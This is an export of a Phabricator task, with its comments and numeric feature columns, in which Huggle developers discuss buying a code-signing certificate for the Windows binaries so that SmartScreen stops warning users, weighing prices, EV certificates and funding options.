There is no publisher (Swedish: //Utgivare//) designated when installing Huggle. It says Unknown (Swedish: //Okänd//) This is causing Windows SmartScreen (or whatever it is called) to try to put up a fight when installing this file.

# How to fix

[ ] Someone need to purchase a certificate for this purpose from certification authority that is trusted by Microsoft by default (around $600 for 3 years or $1000 (better variant))
[ ] Once the certificate in .pfx format is available to people trusted with Huggle releases and distribution (see https://github.com/orgs/huggle/teams/release-managers) use this guide to sign the .exe files:   https://stackoverflow.com/questions/84847/how-do-i-create-a-self-signed-certificate-for-code-signing-on-windows

# Resources

* https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate",Lowest,10.0,1436567890,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,False,PHID-TASK-jcd425ypzglcdbzcemwo,task_description,open,True,c3,3,True,False,,1,True,0.0,0.5,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,2.0,9.0,0.5,3.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.5,1.0,0.0,0.5,0.0,14.0,0.5,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,2.5,3.5,14.0,2.0,2.0,6.0,0.0,0.0,0.0,1.5,4.0,0.0,3.5,0.0,1.0,9.0,6.5,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,1.5,0.5,0.0,1.5,3.798872180451128,0.6996753246753247,"# What is wrong
{F191197}
Window 1
{F191195}
Window 2
{F191192}
Window 3
There is no publisher (Swedish: //Utgivare//) designated when installing Huggle. It says Unknown (Swedish: //Okänd//) This is causing Windows SmartScreen (or whatever it is called) to try to put up a fight when installing this file.

# How to fix

[ ] Someone need to purchase a certificate for this purpose from certification authority that is trusted by Microsoft by default (around $600 for 3 years or $1000 (better variant))
[ ] Once the certificate in .pfx format is available to people trusted with Huggle releases and distribution (see URL use this guide to sign the .exe files:   URL

# Resources

* URL"
2185235,Add a publisher certificate for Windows binaries,,,,1693474787,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
2185191,Add a publisher certificate for Windows binaries,,,,1693472416,,PHID-USER-t2xxs7jhtx6iv5udpdpw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,426,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
2185238,Add a publisher certificate for Windows binaries,,,,1693474902,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
2166636,Add a publisher certificate for Windows binaries,,,,1690524042,,PHID-USER-brd2vylbs44zwof3ouhu,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,421,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
2185243,Add a publisher certificate for Windows binaries,,,,1693475000,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,426,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1393946,Add a publisher certificate for Windows binaries,,,,1574004480,,PHID-USER-nmdg6s77v5nztppz7zzo,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,228,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1111918,Add a publisher certificate for Windows binaries,"@Petrb Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. Code signing certificates are avalaible (for a fee I think, have not checked). I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks.",,,1532804292,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,160,True,4.0,0.0,0.0,0.0,3.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,1.0,1.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,4.333333333333333,0.7066666666666667,"SCREEN_NAME Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. Code signing certificates are avalaible (for a fee I think, have not checked). I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks."
1111917,Add a publisher certificate for Windows binaries,"@Petrb Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks.",,,1532804009,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,160,True,5.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,4.4655172413793105,0.7758620689655172,"SCREEN_NAME Have you looked for government-issued certificates? My country's government does issue free personal ID certificates to identify electronically to government websites, email signing, etc. I see some European governments do so as well (some do cost, some others do not). Just an idea. Thanks."
1080958,Add a publisher certificate for Windows binaries,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).

https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate

""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""

We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all.

$900 is just crazy.

https://en.wikipedia.org/wiki/Extended_Validation_Certificate#Domain-validated_certificates_were_created_by_CAs_in_the_first_place

Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway.

Edit: I'm creating a simple 2-screenshot explanation right now, using Inkscape to create ""screenshots"" that can be freely used.",,,1528295922,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,152,True,0.75,0.0,0.0,0.75,1.5,6.25,1.25,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,2.25,0.5,7.0,8.5,0.0,2.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,1.0,1.0,0.0,4.75,1.75,0.25,1.75,0.0,0.75,0.0,0.75,0.5,0.0,0.0,0.25,1.5,0.0,0.75,0.0,0.0,1.0,13.25,0.75,0.75,0.25,0.5,0.0,0.0,0.0,0.25,0.75,0.75,0.75,1.75,0.0,0.0,0.0,0.0,0.25,3.5,2.25,11.0,2.25,1.5,5.25,0.0,0.0,0.0,0.0,5.25,0.25,1.0,0.0,2.5,8.5,6.5,0.0,5.25,0.0,2.5,0.0,1.25,2.25,0.25,2.0,0.75,0.25,0.0,4.179582763337893,0.7172366621067032,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).

URL

""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""

We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all.

$900 is just crazy.

URL

Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway.

Edit: I'm creating a simple 2-screenshot explanation right now, using Inkscape to create ""screenshots"" that can be freely used."
1080910,Add a publisher certificate for Windows binaries,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).

https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-a-code-signing-certificate

""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""

We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all. Perhaps the SmartScreen warning would at least contain an ""ignore"" button then, as opposed to the current requirement of right-clicking the executable, opening its preferences and clicking the ""unblock"" checkmark. I wouldn't bet 200$ on that, though.

$900 is just crazy.

https://en.wikipedia.org/wiki/Extended_Validation_Certificate#Domain-validated_certificates_were_created_by_CAs_in_the_first_place

Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway.",,,1528293732,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,152,True,0.75,0.0,0.0,0.5,1.75,7.0,1.25,0.0,0.25,0.5,1.25,0.5,0.0,0.5,0.0,2.0,0.5,7.0,9.5,0.0,1.75,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.75,1.5,0.0,4.25,1.75,0.5,2.25,0.0,0.75,0.0,0.75,0.5,0.0,0.0,0.0,1.5,0.0,0.75,0.0,0.0,1.0,14.25,0.75,0.75,0.0,0.5,0.0,0.0,0.0,0.25,0.75,1.0,0.75,1.75,0.0,0.0,0.0,0.0,0.25,4.5,1.75,11.0,2.25,1.75,6.5,0.0,0.0,0.0,0.0,5.0,0.25,1.25,0.0,2.5,9.5,6.0,0.0,5.5,0.0,2.5,0.0,0.75,2.0,0.25,2.0,0.75,0.5,0.0,4.210493311036789,0.6930840898232202,"212.50/3yr does not necessarily appear to be excessive to me, but that certificate does not offer ""extended validation"" (EV).

URL

""Standard Code Signing:  Provides standard level of identity validation,  Requires shorter processing times and lower cost,  Can be used for all Hardware Dev Center hardware dashboard services except LSA, and UEFI file signing services. In Windows 10 for desktop editions (Home, Pro, Enterprise, and Education), standard code signing cannot be used for kernel-mode drivers. For more info about these changes, see Code Signing FAQ.""

We're not building a kernel-mode antivandalism driver here, so I would have thought that this is sufficient. However, it seems that a ""standard"" certificate does not necessarily prevent the SmartScreen warning. If I understand correctly what various semi-reliable sources like StackOverflow users say, then only a EV certificate would ""guarantee"" removing the warning. Using a ""standard"" code signing certificate appears to start a process called ""trust building"", showing SmartScreen warnings to users until enough people decided to ignore the warning and continue anyway. Only if ""enough"" people do that, the warning will disappear for all users. I guess that Huggle will never have ""enough"" users to be able to make use of this process, and that a ""standard"" certificate might in the worst case not change our situation at all. Perhaps the SmartScreen warning would at least contain an ""ignore"" button then, as opposed to the current requirement of right-clicking the executable, opening its preferences and clicking the ""unblock"" checkmark. I wouldn't bet 200$ on that, though.

$900 is just crazy.

URL

Okay. What we need instead, then, is a good, easy-to-understand tutorial with screenshots, explaining how to install Huggle anyway."
1076184,Add a publisher certificate for Windows binaries,"It's important that the company that provides the certificates is already trusted by microsoft, otherwise it would be pointless buying the certificate from them.

The difference on globalsign (which is trusted by microsoft) is that with more expensive option you get ""Immediate reputation with Microsoft SmartScreen"". Which is maybe the original issue in this task? The screen that say software may be virus is SmartScreen, or not?

I personally see this ""security popup"" as a very shady business of Microsoft and certificate corporations, the protection provided by certificates is relatively small, the work connected to setup of new certificate is minimal and money charged for this simple service are massive. So I don't really support this very much under these conditions.

If the Huggle community really believes that having the executables signed is important and the community or WMF is willing to (repeatedly) pay for certificate for this amount of money, then I can of course incorporate such certificate into windows binaries, but I am absolutely not willing to put my own money to this. I think $900 can be spent for better stuff than certificate which is only needed during installation of Huggle (and just to hide some annoying popup from MS).",,,1527621354,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,0.6666666666666666,0.0,1.0,1.6666666666666667,1.0,6.666666666666667,2.6666666666666665,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,7.333333333333333,12.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,7.0,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.0,11.0,1.0,2.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,1.0,0.0,1.0,0.0,4.0,5.333333333333333,7.333333333333333,1.3333333333333333,2.6666666666666665,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,3.6666666666666665,12.0,3.6666666666666665,0.6666666666666666,1.3333333333333333,0.0,3.6666666666666665,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,4.543345543345544,0.751026751026751,"It's important that the company that provides the certificates is already trusted by microsoft, otherwise it would be pointless buying the certificate from them.

The difference on globalsign (which is trusted by microsoft) is that with more expensive option you get ""Immediate reputation with Microsoft SmartScreen"". Which is maybe the original issue in this task? The screen that say software may be virus is SmartScreen, or not?

I personally see this ""security popup"" as a very shady business of Microsoft and certificate corporations, the protection provided by certificates is relatively small, the work connected to setup of new certificate is minimal and money charged for this simple service are massive. So I don't really support this very much under these conditions.

If the Huggle community really believes that having the executables signed is important and the community or WMF is willing to (repeatedly) pay for certificate for this amount of money, then I can of course incorporate such certificate into windows binaries, but I am absolutely not willing to put my own money to this. I think $900 can be spent for better stuff than certificate which is only needed during installation of Huggle (and just to hide some annoying popup from MS)."
1076034,Add a publisher certificate for Windows binaries,I found that GoDaddy has them for $509/3 yr (a bit cheaper) - https://www.godaddy.com/web-security/code-signing-certificate or even cheaper with Comodo  ($212.50/3 yr) - https://comodosslstore.com/codesigning.aspx  Are these options or do we really need a $950 one?,,,1527612601,,PHID-USER-nuv6y2ceabzn7znitwvl,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,7.0,7.0,9.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,3.0454545454545454,0.75,I found that GoDaddy has them for $509/3 yr (a bit cheaper) - URL or even cheaper with Comodo  ($212.50/3 yr) - URL  Are these options or do we really need a $950 one?
1075874,Add a publisher certificate for Windows binaries,Question is if we really need such a feature if it really is so expensive (and only for 3 years anyway - and only for 1 platform). The money could probably be spent in a better way :/,,,1527603841,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,5.0,5.0,5.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,3.5609756097560976,0.8292682926829268,Question is if we really need such a feature if it really is so expensive (and only for 3 years anyway - and only for 1 platform). The money could probably be spent in a better way :/
1075869,Add a publisher certificate for Windows binaries,"I found this site which is one of few that actually display the price of signing key: https://www.globalsign.com/en/code-signing-certificate/

It's $600 for 3 years (worse option) or $950 for 3 years (better option), not sure if we need better option, I don't think so. Anyway it seems that be way more expensive than 20EUR",,,1527603774,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,2.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,2.0,6.0,0.0,0.0,3.3333333333333335,0.803030303030303,"I found this site which is one of few that actually display the price of signing key: URL

It's $600 for 3 years (worse option) or $950 for 3 years (better option), not sure if we need better option, I don't think so. Anyway it seems that be way more expensive than 20EUR"
1075865,Add a publisher certificate for Windows binaries,">>! In T105560#4234867, @valhallasw wrote:
> I think requesting a grant (e.g. through https://meta.wikimedia.org/wiki/Grants:Project/Rapid) is probably the easiest in terms of documented process. Unfortuately rapid grants are closed for another month, but it seems you can still submit a proposal. I would suggest proposing a three year certificate due to the overhead involved.
> 
> A lower overhead alternative could be asking your local chapter. Generally local chapters can more easily 'just pay' for these kinds of things. This does require you to have some contacts in the chapter organisation to be efficient.

There is no ""local chapter"" for Huggle. It's a global tool, primarily originating from English wikipedia. I am myself not a member of any chapter either. If anyone should fund this it should be either WMF or crowd-collected by Huggle users.",,,1527603127,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,2.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,5.0,8.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,20.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,8.0,14.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,3.8135593220338984,0.7627118644067796,"QUOTE
QUOTE
QUOTE
QUOTE

There is no ""local chapter"" for Huggle. It's a global tool, primarily originating from English wikipedia. I am myself not a member of any chapter either. If anyone should fund this it should be either WMF or crowd-collected by Huggle users."
1074855,Add a publisher certificate for Windows binaries,"I think requesting a grant (e.g. through https://meta.wikimedia.org/wiki/Grants:Project/Rapid) is probably the easiest in terms of documented process. Unfortuately rapid grants are closed for another month, but it seems you can still submit a proposal. I would suggest proposing a three year certificate due to the overhead involved.

A lower overhead alternative could be asking your local chapter. Generally local chapters can more easily 'just pay' for these kinds of things. This does require you to have some contacts in the chapter organisation to be efficient.",,,1527437667,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,1.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,1.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,5.0,1.0,1.0,2.0,3.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,6.0,11.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,4.0,0.0,3.0,2.0,1.0,0.0,4.520833333333333,0.7708333333333334,"I think requesting a grant (e.g. through URL is probably the easiest in terms of documented process. Unfortuately rapid grants are closed for another month, but it seems you can still submit a proposal. I would suggest proposing a three year certificate due to the overhead involved.

A lower overhead alternative could be asking your local chapter. Generally local chapters can more easily 'just pay' for these kinds of things. This does require you to have some contacts in the chapter organisation to be efficient."
1074815,Add a publisher certificate for Windows binaries,"Oh hey, thanks :)

Side note: Let's Encrypt, now that it is actually an active project handing out certificates, does explicitly not offer code signing certificates.

https://community.letsencrypt.org/t/do-you-support-code-signing/370",,,1527425053,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.171428571428572,0.8857142857142857,"Oh hey, thanks :)

Side note: Let's Encrypt, now that it is actually an active project handing out certificates, does explicitly not offer code signing certificates.

URL"
